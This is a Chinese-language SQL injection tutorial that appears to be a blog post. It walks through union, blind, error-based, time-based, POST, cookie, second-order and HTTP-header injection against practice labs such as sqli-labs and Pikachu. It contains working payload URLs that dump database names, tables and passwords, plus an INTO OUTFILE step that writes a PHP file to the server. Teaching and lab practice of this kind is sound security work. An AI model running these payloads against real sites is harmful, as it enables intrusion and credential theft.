滲透測試-sql注入-mysql注入
?1.SQL注入基礎:SQL:數據庫查詢與程序設計語言,用于存儲數據,查詢,更新,插入,管理數據庫。
SQL注入:攻擊者通過構造特殊的SQL語句,入侵目標系統,致使數據庫中的數據泄露。
注入存在需要滿足兩個條件:1.存在數據庫交互:正確或錯誤的顯示在web頁面上。2.參數(?id)用戶可控
SQL注入可以干什么?1.查詢數據 2.讀寫文件 3.執行命令
影響:用戶信息泄露
2.Mysql數據庫結構
數據庫A
表
列
字段
information_schmema 這個數據庫會記載所有信息,mysql5.0以上都會自帶這個數據庫。
數據庫名:Database()
版本:version()
用戶:user()
Information_schema.tables 記錄表名的表
Information_schema.columns 記錄列名信息的表
Table_name 表名
Column_name 列名
Group_concat() 表示整個查詢
3.數字型注入
步驟:
1、order by 1 正常 order by 1000錯誤 -->存在交互,會報錯 2、order by 2 3 .. order by 3正常 order by 4錯誤 3、Union select 1,2,3 爆出顯示數字的位置 4、獲取數據庫,用戶權限,MySQL版本信息查詢指定數據庫下的表,并分析可能儲存有管理員賬號密碼信息的表。 5、獲取指定表名下的列名 6、獲取指定列名下的字段 7、MD5解密 8、找到后臺,進入后臺,尋找文件上傳等漏洞getshell

解決方法:1.加 ' 2.加and1=2
演示:
第一步:判斷數據庫長度為3,爆出顯位。


第二步:爆出數據庫名稱和用戶權限

第三步:爆出指定數據庫的表名,并思考哪個表可能會存放管理員賬戶密碼。


第四步:爆出指定表的列名


第五步:爆出指定列的字段信息(賬戶名/密碼)

4.字符型注入
如何判斷是數字型注入還是字符型注入?
Where id = 1 數字型
Where id =”1” 字符型
Where id = ‘1’ 字符型
判斷:輸入 and 1=2 不報錯,說明是字符型。

數據庫源碼:
判斷閉合條件:

最外面一層引號不用管,這是作為一條sql語句自帶的,1'是我們自己輸入的,由一對單引號給引起來,作為字符型語句。LIMIT 0,1表示逐行讀取。當后面有干擾符號時,使用%23 --+ 注釋掉 ,%23-- 注釋 +是空格。
如果是雙引號括號組合:單引號 and 1=2不報錯



去掉最外一層單引號,1''是我們自己輸入的語句,剩下一個雙引號和后面一個括號,所以可以判斷雙引號前面也需要一個括號。我們需要去閉合語句,才能進行注入。
通過報錯語句推測:(“1”)--+”)


首先需要讓數據庫報錯:是因為我們需要知道數據庫是否跟我產生交互。

不讓數據庫報錯:因為我們需要讓數據庫執行我們構造的SQL語句。
為什么數據庫報錯:SQL語句有錯。
判斷為字符型注入以后,構造閉合之后的步驟和數字型一樣。
5.盲注
普通注入:會直接爆出信息
盲注:需要通過一些變化(逐字拆解)來判斷出我們猜的信息對不對。
分類:①布爾型:基于頁面顯示的正常或錯誤
正常頁面:

加',判斷存在sql注入:

界面只存在兩種狀態:You are in (正常) 什么都沒有(錯誤)
當什么信息都無法獲取時(沒有爆出可顯位置),嘗試盲注,很多工具都是采用盲注。
情況:1.sql語句出現錯誤,閉合+注釋 2.>100也不報錯 加-1
盲注步驟:
-
獲取數據庫長度,or length(database())>1,報錯,嘗試加注釋。

-
加注釋后顯示正常,說明該系統存在盲注漏洞。

-
把長度設置為100,看數據庫是否報錯,這里顯示沒有報錯,說明語句存在問題。

-
設置-1,讓數據庫報錯。

采用二分法判斷數據庫長度:

知道位數有什么用:簡化工作量。判斷表,列,字段長度也可以采用二分法,可以節省跑字典時間。
ASCII碼:用python chr()函數,直接解碼數字,也可以自己寫個小腳本一次計算多個數字的ASCII碼。ASCII碼字母大小寫不一樣。

采用ASCII碼注入:
1.猜出第一個字母是s,第一個1表示第一個字母,第二個1不用管。substr()函數是字符截取函數。
http://192.168.72.130:86/Less-5/?id=-1' or(select substr(database(),1,1)='s') --+

2.猜第二個字母是s,數據庫顯示報錯。

局限性:這里面你不光要猜26個英文字母還要猜10個數字 u1s1。如果把英文字母轉成ASCII碼,就全是數字,節省了猜詞的時間。注意:這里數字(115)不需要用括號括起來。

不用猜數據庫的方法:直接用database()代替數據庫名。
采用burpsuite快速拆解:1.設置,注意兩個變量都要設置。

2.通過長度判斷,點一下Length,按順序排列。1-8位就是我們需要的ASCII碼(因為之前通過手工注入已經判斷該數據庫長度為8)。


3.改變http請求。

4.調節線程,讓字典跑的快一點,1000是上限。

5.判斷是否爆破成功。

6.解ASCII碼。

7.猜表、列、字段。
聯合查詢:1.Union select table_name from information_schema.tables where table_schema='security'
2.Union select column_name from information_schema.columns where table_name='users'
3.Union select (group_concat(passsword))from security.users 猜解表名:http://192.168.72.130:86/Less-5/?id=-1' or(select group_concat(ascii(substr(table_name,1,1)) from information_schema.tables where table_schema='security' limit 0,1)) =100 --+ 猜解列名:http://192.168.72.130:86/Less-5/?id=-1' or(select group_concat(ascii(substr(column_name,1,1)) from information_schema.columns where table_name='users'limit 0,1) )=100 --+ 猜解字段:http://192.168.72.130:86/Less-5/?id=-1' or(select ascii(substr(password,1,1)) from security.users limit 0,1)) =68 --+Limit 0,1
逐行讀取,為什么要加limit 0,1 ?為什么猜數據庫名的時候不需要:當前網站數據庫肯定連接的一個數據庫,但表有很多,我們需要告知數據庫我們查詢哪一個表。
8.用BurpSuite跑字典爆破:
-
先抓包,再改包,也可以在之前的包的基礎上修改


-
設置變量


-
爆破表名,如果找的不是用戶名密碼所在的表,可以改變爆破的表格。

-
爆破列名:...
-
爆破字段:...
②顯錯注入/報錯注入
當頁面不會輸出和數據庫有關的參數時,這個時候就需要用到函數UpdateXml (XML_document, XPath_string, new_value);
第一個參數:XML_document是String格式,為XML文檔對象的名稱,文中為Doc;
第二個參數:XPath_string (Xpath格式的字符串) ,如果不了解Xpath語法,可以在網上查找教程;
第三個參數:new_value,String格式,替換查找到的符合條件的數據。

Payload:http://192.168.72.130:86/Less-5/?id=1' and updatexml(1,concat(0x7e,database()),1) --+ http://192.168.72.130:86/Less-5/?id=1' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security')),1) --+ http://192.168.72.130:86/Less-5/?id=1' and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users')),1) --+ http://192.168.72.130:86/Less-5/?id=1' and updatexml(1,concat(0x7e,(select group_concat(password) from security.users )),1) --+
當系統有安全狗,不讓你查數據庫的時候,數據庫換成database(),查表直接查users。
③基于時間延遲的盲注
1.判斷是否存在基于時間延遲的盲注,輸入’and sleep(5) 頁面處于一直加載的狀態,直到第五秒才加載完成說明存在。

2.判斷數據庫長度:and if(length(database())=7,sleep(5),sleep(1)) --+ 條件成立執行第二個,不成立執行第三個。依然可以采用之前判斷數據庫長度的方法。
3.獲取具體信息:
獲取數據庫名:
' and if(ascii(substr(database(),1,1))=114,sleep(20),sleep(1)) --+
獲取表名:
' and if((select ascii(substr(table_name,1,1)) from information_schema.tables where table_schema='security' limit 0,1)=114,sleep(20),sleep(1)) --+
獲取字段:...
6.提交方式注入
①POST注入
場景:登錄框,一般為字符串,不是數字型,需要考慮閉合問題。
①先開burpsuite抓包,然后在登錄框輸入信息,再查看抓到的報文。

②修改報文提交信息,加單引號,查看響應報文,如果響應報文報錯,證明有漏洞存在。

③修改提交語句,讓響應報文不報錯。order by 1不報錯,order by 100報錯,證明語句沒問題。


④接下來就是正常流程,爆顯位,爆數據庫,爆表,爆列,爆字段。

②cookie注入
場景:網站開發人員光過濾GET、POST提交,忽略了cookie
$_GET $_POST $_COOKIE $_REQUEST(全部接受)
分兩種情況:1.目標網站有cookie。
2.目標網站沒有cookie,這種情況我們可以硬寫一個cookie。
①正常登錄網站

②抓包

③注入,在cookie字段加',響應包報錯,說明存在cookie注入。

④order by 1正常,order by 100報錯,說明語句沒問題。


⑤order by x猜數據庫長度,這里為3。然后開始爆顯位。

⑥沒有爆出顯位,加'和and 1=2,爆出顯位。也可以在admin前面加-1。

⑦接下來就是正常走流程,爆數據庫,爆表,爆列,爆字段。
7.二次注入
環境配置:1.SQLi-labs安裝
https://github.com/Audi-1/sqli-labs

2.修改配置文件:sqli-labs-master\sql-connections\db-creds.inc
二次注入原理:mysql_real_escape_string 前端被過濾,安全,無法注入。
二次查詢的過程中沒有過濾導致注入。
分類:①任意用戶密碼修改
Update users set password where username='admin’


Update users set password where username='admin'#’在注冊賬戶的過程中,admin'#被轉義了,所以可以生成admin'#賬戶,但是在更新密碼的過程中,#'被一對單引號閉合了,沒有任何作用,所以導致修改admin'#的密碼,系統執行的是修改admin的密碼。$username=admin'# 更新密碼沒有過濾,可注入。
注入前:

修改admin'#的密碼:

admin'#的密碼沒有被修改,admin的密碼修改成了123456:

②留言板注入
靶場:http://47.240.40.250:6003/main.php(按月付費)
1.判斷注入點:正常的返回,輸入2,返回2。每次提交需要重新返回頁面才能看見結果。


2.通過三個’確定出現問題的地方:類型。

原理: $sql="insert into post Set cate='222', Message='$message', B_id='$id'; 修改數據庫語句:"$sql="insert into post Set cate='222',message=user()/*', Message='$message', B_id='$id'; ”*/#’ /* */為注釋,這里不能用--或者#注釋,因為在user()后面加--或者#只會注釋掉后面的'號,下面的Message還是會覆蓋前面的message。#號用來注釋后面的'號,讓user()后面的'起作用。
具體步驟:
1.構造注入查詢語句,提交,返回。

2.閉合


3.查數據庫名:1',message=database(),/*

4.查列名:
1',message=(select group_concat(column_name) from information_schema.tables where table_name='users'),/*
5.查字段:
1',message=(select password from users where id=1),/*
注意:用之前查字段構造式不好使的時候使用id,步驟3、4、5都需要閉合。
8.head頭注入:又叫http頭注入,是報錯注入的延伸和擴展。包括:user-agent、refer、xff三種。靶場環境:掌控安全學院SQL注入。
為什么會存在注入:當用戶成功登錄的時候,為了方便用戶查看上次登錄的到底是不是自己,采取的一種安全措施。記錄在數據庫的過程中就可能會存在注入。
靶場核心代碼分析:
$username = $_POST['username'];
$password = $_POST['password'];
$uagent = $_SERVER['HTTP_USER_AGENT'];
$jc = $username.$password;
$sql = 'select *from user where username =\''.$username.'\' and password=\''.$password.'\'';
if(preg_match('/.*\'.*/',$jc)!== 0){die('為了網站安全性,禁止輸入某些特定符號');}
mysqli_select_db($conn,'****');//不想告訴你庫名
$result = mysqli_query($conn,$sql);
$row = mysqli_fetch_array($result);
$uname = $row['username'];
$passwd = $row['password'];
if($row){
$Insql = "INSERT INTO uagent (`uagent`,`username`) VALUES ('$uagent','$uname')";//滿足SQL注入條件:存在與數據庫的交互,且無過濾。
$result1 = mysqli_query($conn,$Insql);
print_r(mysqli_error($conn));
echo '成功登錄';
開burpsuite抓包改包:

注入方法:直接把user-agent后面內容刪掉重寫,不過需要注意兩個問題:
1.user-agent后面一定要有一個空格
2.閉合問題
注入步驟:
1.在user-agent后面加一個',響應報文報錯,說明用戶可控。

2.構造payload,這里使用的"~"和之前的ASCII碼0x7E是一個原理。這里構造語句失敗。

3.查看源代碼,找失敗原因。

因為我們在payload中加入了--+,把源數據庫后面的括號給注釋掉了,造成了語句沒有閉合,所以報錯了。

4.把缺失的括號加進去,讓語句閉合。響應報文還是報錯。


5.把--+換成#,沒有報錯。爆出了數據庫名,賬戶,密碼。


其他字段原理相同,refer(實際應用中比較少),x_forward_for字段如果報文中沒有,可以自己寫一個。

深入(注意賦值的個數,黑盒測試只能逐一測試)
當查詢表名時候提示:
Column count doesn't match value count at row 1

百度后調整語句,MySQL不報錯,但是沒有顯示出信息。

把and換成or,和limit 0,1無關:
'or updatexml(1,concat('~',(select group_concat(table_name) from information_schema.tables where table_schema='head_error' limit 0,1)),1),1) #
9.高權限寫入文件
漏洞練習平臺:Pikachu。
步驟:①構造語句,閉合,判斷數據庫長度。

②爆顯位,這里兩個顯位都可以用。

③判斷數據庫權限為root。

④寫入文件(這里生成路徑要用絕對路徑,執行寫入命令后,會在對應目錄生成test.php文件,位于根目錄之下。)

http://127.0.0.1/pkc/vul/sqli/sqli_str.php?name=' union select 1,'<?php phpinfo ?>' into outfile 'c:\\phpstudy\\www\\pkc\\test.php' --+&submit=??¥èˉ¢
⑤用小葵將 <?php phpinfo() ?> 轉碼

⑥生成tep.php后就可以直接訪問。
網站路徑如何獲取?、
1.報錯顯示

2.谷歌黑客 Inurl:warning
3.讀取配置文件(著名CMS可適用)
4.漏洞報錯
5.遺留文件:phpinfo

6.字典猜解
*注意事項:路徑的寫法:要么/ 要么就兩個\\
10.高權限跨庫注入:
條件:root權限:user()
A無注入點,B存在MySQL注入 A,B都在同一個MySQL數據庫當中。

步驟:①確定數據庫長度。

②再爆出顯位。

③爆出全部數據庫,這里不能用database()代替(很重要)

④選哪個數據庫就爆哪個數據庫的表。

⑤爆列。

⑥爆字段。

未完待續——參數類型注入、加解密注入、魔術引號。

浙公網安備 33010602011771號